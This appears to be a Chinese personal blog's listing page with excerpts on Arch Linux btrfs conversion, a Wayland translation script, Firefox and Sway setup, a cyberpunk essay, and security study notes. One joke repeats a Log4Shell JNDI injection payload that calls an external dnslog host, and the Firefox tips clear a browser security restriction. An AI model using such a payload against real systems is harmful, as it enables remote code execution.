树莓派搭载clash作为旁路由
“一个黑暗的形体,像一个匍匐的人一般大小,但是长着长长的蜘蛛一样的肢体……黑暗中的形体以惊人的速度向他奔来。当它靠近时,他看到那蹲坐着的乌黑身体上有一张脸,在身体底部那些多节的腿之间。那张面孔用一种怀疑和质问的可憎表情凝视着他;而当这个大胆的猎人与那小而狡诈的,四周全是毛发的眼睛对视时,恐惧流遍了他的每一根血管。” ...
“一个黑暗的形体,像一个匍匐的人一般大小,但是长着长长的蜘蛛一样的肢体……黑暗中的形体以惊人的速度向他奔来。当它靠近时,他看到那蹲坐着的乌黑身体上有一张脸,在身体底部那些多节的腿之间。那张面孔用一种怀疑和质问的可憎表情凝视着他;而当这个大胆的猎人与那小而狡诈的,四周全是毛发的眼睛对视时,恐惧流遍了他的每一根血管。” ...
这篇文章是对我从ext4文件系统转换到btrfs过程中的一些操作记录, 便于日后参考. 前置准备 制作arch linux 启动盘, 版本越新越好. 备份重要文件 我个人在转换前会把大文件(例如虚拟机文件)转移到移动硬盘里, 让转换过程更快一些 转换 进入LiveCD 系统, 对主分区进行转换 btrfs-convert /dev/nvme0n1p2 等待一段时间之后, 显示conversion complete就表示没有问题, 接下来还需要做三件事情才可以进入系统 修改fstab 首先将转换成功后的分区挂载到/mnt下 mount /dev/nvme0n1p2 /mnt 使用lsblk -f命令查看分区的UUID号, 拍个照片记一下 编辑/mnt/etc/fstab, 修改这个分区类型为btrfs, 将最后的两列数字都改成0, 保存退出 重建内存盘 先挂载, 然后进入chroot环境 mount -t proc none /mnt/proc mount -t sysfs none /mnt/sys mount -o bind /dev /mnt/dev chroot /mnt bash 然后执行下列命令来为所有内核重建内存盘 mkinitcpio -P 最后重建grub引导, 按照道理应该要把引导分区/dev/nvme0n1p1挂载到/mnt/boot之后才可以, 但是我记得自己执行的时候没有挂载? grub-mkconfig -o /boot/grub/grub.cfg 重建grub引导 在上一步的chroot环境中, 执行下列命令, 记得把引导分区挂载到/mnt/boot grub-mkconfig -o /boot/grub/grub.cfg 大功告成, 退出chroot, 重启电脑就可以进入你的系统了, 唯一的不同是它已经是btrfs了. ...
对于我这种英语不好的人来说, 翻译是离不开的工具, 但是众所周知, Linux的日用软件生态相比较windows和macos来说相差甚远, 别说目前正处于发展阶段的wayland, 就连成熟透了的x11下也没有拿得出手的翻译软件. 作为一个英语不好的Linux爱好者, 缺少翻译软件必定会对日常的使用造成一定的影响, 于是开始思考怎么样解决这个问题. 我的第一个思路, 也就是见到最多的划词翻译软件的样子, 选中文本之后, 在被选中的文本周围的某块区域中绘制一个窗口, 在其中展示翻译结果. 但是问题来了, 要如何绘制这样的窗口呢? 在wayland中, 窗口的位置交给了compositor进行管理, 这种能够自己决定显示位置的能力, 据我所知, 在wayland下仅有fcitx5做到了, 于是我翻阅了一下它的源代码, 并没有看懂, 但是应该没有借助于Qt和GTK来绘制, 而是使用wayland-client. 对我这样一个连Qt GTK开发经历都没有的人来说, 理解wayland编程开发中的那些概念实在有些困难. 于是紧接着又有一个问题出现了: 能否绕开wayland? 就我思考这个问题的时候, linux QQ给我发了一个系统通知, 我的电脑上的系统通知服务原先只是为了让linux qq不崩溃才安装的, 然而这个时候, 它给了我一个新的解决方案: 使用系统通知来呈现翻译结果. 于是搜了一下如何发送系统通知, 发现竟然意外的简单. notify-send "title" "content" 那么接下来的问题: 如何获取选中文本的内容? 这个问题, 我原本计划通过阅读wl-clipboard来学习的, 但是我想先尽快用上翻译, 把优化放到以后再说, 于是决定直接使用wl-clipboard来获取选中文本内容, 那么至此思路理清, 大致如下: 使用剪切板获取到选中文本的内容, 可以使用wl-paste -p来获取 获取文本之后, 将换行符替换成空格 (这块可以有更好的处理方法, 简单起见就全换掉了), 使用sed 文本处理完毕后, 将文本输入进translate.js中进行翻译, (这块可以使用别的现成工具) 翻译结果出来之后, 将结果以系统通知的形式呈现出来, 当然, 系统通知必须要有, 可以是dunst, mako, swaync, 以及kde或者gnome的桌面消息通知都可以. 发送翻译结果使用命令notify-send "标题" "翻译内容" 以我的划词翻译为案例, 我在~/.config/sway/config中加入了这么一行作为划词翻译触发按键 ...
不管火狐的市场份额多么拉胯, 对于Linux wayland用户来说, 目前体验最好的浏览器依旧是Firefox. 本篇记录我的FIrefox配置, 包括浏览器设置和插件设置. 外观 titlebar 为了让标题栏中的内容可以更加紧凑, 一个好办法是进入about:config, 设置browser.compactmode.show为true, 然后进入custom toolbar, 设置Density为Compact 对于wm用户, 一个推荐的设置是勾选上上图中的Title Bar选项, 为什么要这么设置呢, 因为这样子做, 那些按钮(最大最小化, 关闭窗口)就会出现到title bar中, 然后title bar会被wm吃掉, 这样就可以给火狐的标题栏留出更多的空间 ps: 我用的主题名字叫做tokyonight Firefox-UI-Fix 使用Firefox-UI-Fix来个性化Firefox的界面 Addon Vimium 该插件将vim的操作方式带入到浏览器中, 能够让用户更少依赖鼠标. 默认情况下, firefox出于安全考虑会在一些页面中禁用Addon, 为了让该插件能够在更多的页面上使用, 需要在about:config中进行以下设置 extensions.webextensions.restrictedDomains清空掉 privacy.resistFingerprinting.block_mozAddonManager设置为true,来让插件在所有页面上都可以使用 以下是我的Vimium键位设置. # Insert your preferred key mappings here. unmapAll map H previousTab map J previousTab map L nextTab map K nextTab map <c-j> scrollPageDown map <c-k> scrollPageUp map <c-o> goBack map <c-i> goForward map o Vomnibar.activateInNewTab map b Vomnibar.activateBookmarksInNewTab map t Vomnibar.activateTabSelection map M LinkHints.activateModeToOpenInNewTab map m LinkHints.activateModeToOpenInNewForegroundTab map gi focusInput map gg scrollToTop map G scrollToBottom map j scrollDown map k scrollUp map h scrollLeft map l scrollRight map x removeTab map X restoreTab map ? showHelp map yy copyCurrentUrl map p openCopiedUrlInNewTab Tip: 如果在某次更新之后发现插件不可用了, 那么可以考虑临时切换到另一个类似的插件 Vimium C , 把相同的键位复制进去就行啦. ...
2022年是一个记得被纪念的年份, 不是因为它有多好, 而是因为它有多现实 ...
生命本就如此脆弱 ...
不知不觉使用sway已经整整一年了,于是来谈一谈自己这一年的使用感受,顺便回顾了一下过去。 起因 2019年,在一次编程作业的时候,同专业的另一个老哥向我展示了vim的代码h补全,我立刻被这种简陋但是扩展性极强的代码编辑器吸引了,于是当时还是个刚转入计算机专业的小白就开始哼哧哼哧地学习vim的配置和插件的安装。当然,这些都发生在我的Kali Linux虚拟机中。 那个时候我正接触CTF,很多时候都要开着虚拟机,于是有一天动起了把电脑系统直接装成linux的想法。因为自己的第一台笔记本是暗夜精灵2,游戏本装Linux,第一个要考虑的就是兼容性和稳定性,在权衡各个发行版的优势和流行程度后,我选择了ubuntu18.04。笔记本重装完毕后除了风扇转个不停竟然一切运行正常,这让我实在有些惊喜,而风扇问题是英伟达独显导致的,在ubuntu上,只需要一条sudo ubuntu-drivers autoinstall就完美解决了。当时的自己很开心,仿佛打开了一道新世界的大门。 后来,我去吉林参加了第一次线下赛,ubuntu没有掉链子,帮我拿了一个一血,我很满意。直到一次上课,手贱执行了apt upgrade,升级完电脑竟然无法开机了,一整个无语,而当时临近期末,我已经没有时间再去折腾系统了,于是紧急安装了windows应付期末复习,顺便下单了一台对Linux更加友好的笔记本Thinkpad T480。 期末考试结束后,我听说了Arch Linux 的大名,但是出于畏难情绪,我选择将ubuntu18.04安装在我的thinkpad t480上,然后去参加xman的夏令营。在夏令营期间,我的电脑在连接wifi一段时间后就再也连接不上了,第一次我选择了重装,但是第二次还是同样的问题,我只好绝望地回到windows10,事后分析的时候,我觉得应该是驱动的问题,thinkpad t480是2018年下半年发布的,ubuntu18.04的驱动可能确实没覆盖到它的网卡。 之后的好几个月里,我都乖乖用着windows10和WSL2,实习的时候全程在虚拟机里面写代码。等到实习结束、保研也结束的时候,我又开始了新一轮的折腾。 2020年下半年,我将自己的主力电脑全面迁移到了Manjaro Linux下,那个时候qv2ray还很活跃,我的科学上网也很依赖它,但是有好几次在更新的时候发生了Manjaro特有的问题:软件的版本更新上来了,但是软件的依赖没有更新上来,这种问题也影响了trilium等软件,虽然不能怪manjaro,但是我还是愤而转向了Arch Linux,一直到今天我也还在用。 转到Arch Linux之后,我基本上不再改变自己的发行版了,只是会在图形界面折腾一些。2020年-2021年上半年我使用的都是KDE,好看是真好看,但是Bug也是真的致命,这其中我亲身经历过的至少三次重复出现在不同电脑(thinkpad T480出现过,thinkbook 14p 出现过)的bug就是盒盖睡眠失败,我不知道是谁引起的,是plasma还是conky还是别的什么组件,我不知道,我在日志里也查不到。别看这个问题好像没什么,但是作为一个笔记本用户,盒盖后放进包里是一个非常自然的行为,回到宿舍没有第一时间拿出电脑而是休息一会也是很正常的行为,但是休息完后发现自己的电脑在包里变成了一个铁板烧就不是一个正常的现象了。嘴硬的人当然会说thinkpad不是有指示灯吗?你看指示灯判断是否睡眠成功不就行了?且不说我后来的电脑thinkbook 14p是没有指示灯的,单就系统质量而言,一个系统每次使用的时候都需要用户小心翼翼盯着指示灯看,是否已经说明了这是一个糟糕的系统了?为什么换成thinkbook?就是因为这个bug把我的thinkpad的主板烧坏了!我曾以为这是thinkpad独有的问题,可是当thinkbook也发生同样问题的时候我对KDE彻底失望了,是的,这是一个很漂亮的桌面环境,定制性强又有很多特效,可是这一切都建立在一些不稳定的bug上的时候,这些特效会更多扮演起bug的导火索角色。 经历过KDE的bug后,我对复杂的桌面环境产生了恐惧,他们就像是一枚不定时炸弹。在这个前提背景下,我接触并开始使用SwayWM,一直到今天,我也还在使用,而那个致命Bug,已经离我远去。 体验 得益于Arch Linux庞大的用户群,Arch 的软件包生态在一众发行版中可以说是称王称霸了,我举一个例子,你能想象在Linux的软件仓库中会出现deepin-wine魔改后的腾讯系软件吗? 每次看到其他发行版用户手动下载deb然后安装的时候,我都会产生一种他们是不是在用windows的错觉,并不是看不起别的发行版,只是各有分工和侧重点,比如Arch的定位是桌面端用户,而很多别的发行版的定位是服务器,我不会用别的发行版当作我的桌面系统,就像我不会把Arch装在服务器上一样。用统一的包管理器管理软件包肯定是有好处的,能够大大减轻用户的心智负担。 至于网络上提到的Arch Linux不稳定、容易滚挂的问题,不好意思,我用了两年Arch了,每天都执行yay -Syyu,从来没有出现滚挂的问题,相反,我目前所遇到的半数Linux相关问题,都是因为系统软件或者依赖库过于老旧而导致的,更新后就可以解决。Linux不是Windows,如果你不想要更新,那么有两种选择,第一种,锁定自己的软件版本,然后在每次安装新软件的时候单独解决依赖问题;第二种,回去用windows。 说完了Arch Linux,再来说说Sway,这是一个简单的wayland窗口管理器,为什么用wayland,因为我不希望自己的图形界面建立在一个老旧而难以维护的基础设施之上,那给我的感觉就好像我在使用另一个plasma。诚然,wayland还有很长的一段路要走,很多桌面软件都不得不借助xwayland才能在其上运行,经过实际使用,除了在4k屏幕上xwayland有问题之外,其他情况下还是可以完美工作的。当然,部分软件是有问题的,比如腾讯会议的桌面共享功能,但是也已经有了曲线救国的办法,所以现在wayland的生态已经比之前要好一些了,当我看到linux qq内测群里有人提出wayland下的问题以及要求兼容wayland的时候,我就相信未来还会更好。 Sway是一个窗口管理器,开发者做的事情是在wayland下复刻一个i3wm出来。窗口管理器的好处是我现在更多依赖键盘而不是鼠标了,可以减少对视觉聚焦于鼠标这种行为的依赖,转而更多依赖自己的触觉,另外,更少的特效和更简洁的设计不仅让我的系统大大增强了稳定性(据一位用KDE的同学说,直到今天,用KDE只要一周不关机就必定会崩溃),还让我自己更加专注于手头的工作(平铺式窗口管理器的统一好处)。不好的地方当然也有不少,比如初次接触的时候要花很多时间去配置和适应,比如每次修改操作键位的时候都需要一定时间去重新适应,比如fcitx5在某些软件下面无法工作或者是有缺陷(这不是fcitx5的锅),比如它让我认识到自己是一个很笨蛋的人,使用了一年了,让我时不时就发现自己的操作习惯可以有优化空间,比如: 在按win+数字键的时候,用大拇指去按是很扭曲的姿势,**一个更加自然的姿势是用左手的掌心左下(手背视角)的部分去压win键,然后用手指去按数字键。**如果要按ctrl+win,就用同样的部位压住两个键,这个难度会大一些,大概确实还可以优化的。 调整窗口大小的时候,进入resize模式然后用键盘去按是很低效的行为,相反,这种时候依赖鼠标不是什么坏事,通过把鼠标悬停在窗口上然后按住右键进行拖拽就可以实现快速的窗口大小调整。 scratchpad中更适合使用tab模式。 有的时候在两个workspace之间切换会很频繁,这个时候更适合用workspace back_and_forth而不是一直执着于用数字键去切换,或者使用鼠标的滚轮来切换,这也是一个不错的主意。 除此之外还有一个小的优点,在sway下可以给不同键盘换上不同的布局,这点对我而言是刚需,但是在xorg下面,这种操作往往只能将同一个布局应用于所有的键盘,一旦布局出现了问题导致键盘不可用,那么所有的键盘都会变得不可用。 最后,我和大部分的geek用户不一样,我比较笨,只是一个普通用户,我做不到也不想去和他们一样视鼠标如洪水猛兽,相反,sway下我还是会频繁使用鼠标,对我来说用鼠标去交互两个窗口的位置依旧是比用键盘更加高效的操作。所以我想说的是,追求属于自己的实用性,你可以去参考别人的建议,但是最终还是要找到属于你自己的习惯。 对于我个人来说, 我也完全不排除在plasma的bug修复后回到plasma的可能性,毕竟老牌桌面。 列出我使用的软件: 桌面环境 SwayWM(窗口管理) waybar(信息展示栏) 终端 alacritty 浏览器 firefox-developer-edition (主力) chrome 输入法 fcitx5 代码编辑 Neovim(主力) Vscode(副手) Jetbrains 做笔记 Neovim-qt zotero 文件浏览器 ranger dolphin 看论文 zotero okular 游戏 steam(泰拉瑞亚、黑暗之魂……) waydroid(明日方舟) HMCL(minecraft) 工具替代 exa 替代 ls zoxide 替代 cd scp 替代 cp Trouble Shooting 关机的时候出现 a stoping job is running for xxx hangout 修改/etc/systemd/system.conf ...
在消磨三年时光之后,我终于明白这个编辑器还远远称不上稳定,在道路的尽头之前,我能做的其实只有观望。 ...
在争取自由这个宏大命题下, 上网自由可以算得上一件"小事", 然而越是小事, 越与我们的日常息息相关. ...
超元域这个词, 出自雪崩这本书, 人们在这个虚拟世界中可以随意行事, 尽情做自己, 这也是我的初衷: 把发言权还给我 ...
环境问题, 一生之敌. ...
这是一篇拖延了很久的年度总结,在下决心写它的时候,我已经从过年开始无所事事地玩了十几天的游戏了,本来说好要在过年那天写的总结也一直到现在才开始动笔,着实是惭愧. ...
尝试学pwn,放弃学pwn ...
记录shiro漏洞学习的过程, 参考https://saucer-man.com/information_security/396.html, 并在漏洞分析基础上编写检测脚本 ...
phpggc中关于thinkphp的攻击思路学习 ...
明天安全圈校招面试: 面试官: 请说说你会什么技能? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 请说说你最近关注过的漏洞? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 面试官: 你平时有动手调试过吗? 我: ${jndi:ldap://xxx.dnslog.cn/exp} 我:这dnslog是不是卡了 这面试官怎么还没rce ...
科技的发展并不代表内卷的避免,相反,一味追求在虚拟世界中开疆拓土,忽视宇宙和深海的探索开发正是人类社会内卷化的集中反映,此处的内卷,和通常的内卷定义相同,即"一类文化模式达到了某种最终的形态以后,既没有办法稳定下来,也没有办法转变为新的形态.而只能不断地在内部变得更加复杂的现象",只不过对象从普通的小群体变成了全体人类,社会矛盾的频繁爆发让人类倾向于将自己的灵与肉奉献给虚拟的神,这种奉献的热诚背后充斥着对冰冷现实的无力感和逃避,即便这种虚拟是人类自己创造出来的,他们依旧选择忽视甚至忘却这种自知,选择被奴役,膜拜和瞻仰. 另外一方面,正如洛夫克拉夫特所说的"人类最古老又最强烈的情绪,就是恐惧;而最古老又最强烈的恐惧,是对未知的恐惧",在刻录在基因中的人性的驱使下,人类在总体层面上对未知的深海和太空是恐惧的,可是,要让人类接受自己社会发展停滞不前的事实,又是可耻且无法接受的.在这种背景下,虚拟世界的扩张从另一个角度为全体人类提供了一个"发展"的幻象,使得人类可以将蒙蔽双眼,逃脱生存困境,将注意力集中在已有事物的"发展"上,即便是内卷式的发展. 从理性的角度来说,人类文明要想长存不休,必须要将触角极力扩张到太空和海洋当中,然而人类总体上呈现的是一种非理性的意识形态,这并不新奇,在上帝已死的年代里,人类相信的不再是神明而是科技和资本,而科技为资本所掌控,所以资本的信仰便是人类的信仰,乍看之下,资本代表着贪婪和逐利,并且具备一定程度上的理性,但可惜的是,正是这种信仰将虚拟世界捧上神坛并加剧了社会的内卷化,而这种情况很难发生改变,理由如下: 资本并不具备引领人类社会向好发展的动机,资本行动的唯一动机是为自身逐利 资本理性的主体在"自己的寿命是有限的"这样一个前提下,会自发选择在"当下"时间点获利最大的发展方向 当资本在一个领域中能或即将获取足够多利润,或者发现切换别的领域所付出的代价远大于自己所失去的时候,它将调用舆论吸引人类的注意力以期更大的利润空间 人类是盲从且愚昧的,尤其是在被消费社会阉割批判能力后基本上已经丧失了真正的自由意志,成为资本的牵线木偶. 一个额外的发现是,如果将上述三个理由作为评判资本能力的标准,就会发现腾讯阿里巴巴等不靠科技驱动的公司才是资本意义上能力最强的公司,我担心这种内卷式的崛起会提醒其他资本,最大化的利润完全不需要科技创新,只需要靠"内卷"就可以了.或许,他们已经意识到了? 其实很久以前就有人预测到了如今的现状,那就是赛伯朋克,它想告诉人们,科技的畸形发展不能解决而会加剧社会矛盾和人类的焦虑,可遗憾的是,在资本的操纵下,这种畸形的科技被繁复炫目的光影包装成了一种美学象征,这种人类的焦虑被刻意淡化甚至抹去,转而重新变成一种商品,一种无论是在商业意义还是精神意义上对资本力量更加有利的商品–既谋取了利润,又扭曲了对抗虚拟的文学,这出"化敌为友"实在高明至极. 赛博朋克指出了科技畸形发展所产生的问题,警告人们这样做的后果,但是很可惜,我们已经停不下来了,看起来,我们势必迈入赛伯朋克式的未来社会中,步履坚定,热切真诚.而到了那个时候,或者在那之前,也许更有价值的问题是:我们如何走出赛伯朋克? 话说回来,在赛博朋克被提出的那个年代,根本没有人们如今看到的虚拟世界的哪怕一丝影子,我所能想到的,是这些科幻作家们凭借自身少得可怜的科技水平和对人性的充分了解所做出的猜测和臆想,或许他们创作的动机中,根本不包括一丝严肃批判的思考,而只是为了博人眼球来多赚点稿费罢了,但总之,他们猜中了,并且猜得更加超前.或许科技的发展史,就是一副肖像画,画的主题叫做人性.
本文主要参考 https://blog.csdn.net/qq_31481187/article/details/105917392 和 https://paper.seebug.org/1142/#_6 ,并无原创内容,仅仅是个人学习笔记。 ...
我终于更新博客了…… ...
采用的是版本较新的idea2020.2, 使用的操作系统为MANJARO LINUX, 其中的过程挺迷迷糊糊的就水一篇来记录一下. File --> New --> Project --> Java --> Nextnext 新建一个项目 右键Project --> open module setting --> 点击+号 --> 导入tomcat8的Servlet-api.jar 右键项目 --> Add Frameworks Support --> 选中web application 选中后会多出来几个东西, 如下图, 多了WEB-INF目录和index.jsp Web-INF里面有只有一个web.xml, 什么是WEB-INF? 根据百度百科的介绍 WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。 WEB-INF文件夹下除了web.xml外,还存一个classes文件夹,用以放置 *.class文件,这些 *.class文件是网站设计人员编写的类库,实现了jsp页面前台美工与后台服务的分离,使得网站的维护非常方便。web.xml文件为网站部署描述XML文件,对网站的部署非常重要。 Web-Inf文件夹中除了有classes文件夹和一个web.xml文件外、还有lib文件夹(用于存放需要的jar包)(用于配置,比如说用来配置过滤器等。) /WEB-INF/src/ 源码目录,按照包名结构放置各个java文件。 /WEB-INF/database.properties 数据库配置文件 /WEB-INF/tags/ 存放了自定义标签文件,该目录并不一定为 tags,可以根据自己的喜好和习惯为自己的标签文件库命名,当使用自定义的标签文件库名称时,在使用标签文件时就必须声明正确的标签文件库路径。例如:当自定义标签文件库名称为 simpleTags 时,在使用 simpleTags 目录下的标签文件时,就必须在 jsp 文件头声明为:<%@ taglibprefix=“tags” tagdir="/WEB-INF /simpleTags" % >。 /WEB-INF/jsp/ jsp 1.2 以下版本的文件存放位置。改目录没有特定的声明,同样,可以根据自己的喜好与习惯来命名。此目录主要存放的是 jsp 1.2 以下版本的文件,为区分 jsp 2.0 文件,通常使用 jsp 命名,当然你也可以命名为 jspOldEdition 。 ...